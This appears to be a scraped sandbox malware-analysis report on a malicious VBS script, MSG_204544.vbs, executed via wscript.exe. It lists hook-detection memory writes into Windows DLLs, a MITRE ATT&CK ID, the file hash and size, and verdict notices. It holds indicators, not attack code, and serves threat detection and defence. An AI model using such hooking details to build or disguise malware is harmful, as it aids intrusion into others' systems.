  "wscript.exe" wrote bytes "fae64677e1a64b772e714b77ee294b7785e246776da04b7726e44677d16d4b77003d4977804b497700000000ad3717778b2d1777b641177700000000" to virtual address "0x747F1000" (part of module "WSHTCPIP.DLL")
  "wscript.exe" wrote bytes "f8111f75" to virtual address "0x75208368" (part of module "SSPICLI.DLL")
  "wscript.exe" wrote bytes "e7394777e1a64b772e714b77ee294b7785e246776da04b7790644a773ad5517726e44677d16d4b77003d4977804b497700000000ad3717778b2d1777b641177700000000" to virtual address "0x74D21000" (part of module "WSHIP6.DLL")
  "wscript.exe" wrote bytes "48121f75" to virtual address "0x752083C0" (part of module "SSPICLI.DLL")
  
  source
  
  Hook Detection
  
  relevance
  
  10/10
  
  ATT&CK ID
  
  T1179 (Show technique in the MITRE ATT&CK™ matrix)

File Details

All Details:

MSG_204544.vbs

Filename: MSG_204544.vbs
Size: 7.1MiB (7491937 bytes)
Type: script vbs
Description: ASCII text, with very long lines
Architecture
: WINDOWS
SHA256
: 97b2474b3ead5afe6929e69828d7ad6b2105c0d07a395634622ae7e772d4c768

Screenshots

Loading content, please wait...

Hybrid Analysis

Tip: Click an analysed process below to view more details.

Analysed 1 process in total.

wscript.exe "C:\MSG_204544.vbs" (PID: 1960)

Network Analysis

DNS Requests

HTTP Traffic

Suricata Alerts

ET rules applied using Suricata. Find out more about proofpoint ET Intelligence here.

Extracted Files

No significant files were extracted.

Notifications

Although all strings were processed, some are hidden from the report in order to reduce the overall size
Enforcing malicious verdict, as a reliable source indicates high confidence
Not all Falcon MalQuery lookups completed in time
Not all sources for indicator ID "api-55" are available in the report
Not all sources for indicator ID "hooks-8" are available in the report
Not all sources for indicator ID "registry-17" are available in the report
Not all sources for indicator ID "registry-18" are available in the report
Not all sources for indicator ID "registry-19" are available in the report
Not all sources for indicator ID "registry-72" are available in the report
Not all sources for indicator ID "string-24" are available in the report
Not all sources for indicator ID "string-5" are available in the report
Not all strings are visible in the report, because the maximum number of strings was reached (5000)

alexanderquen1976.blogspot.com

Source: https://www.hybrid-analysis.com/sample/97b2474b3ead5afe6929e69828d7ad6b2105c0d07a395634622ae7e772d4c768/5e844e40eac13102de00ebe7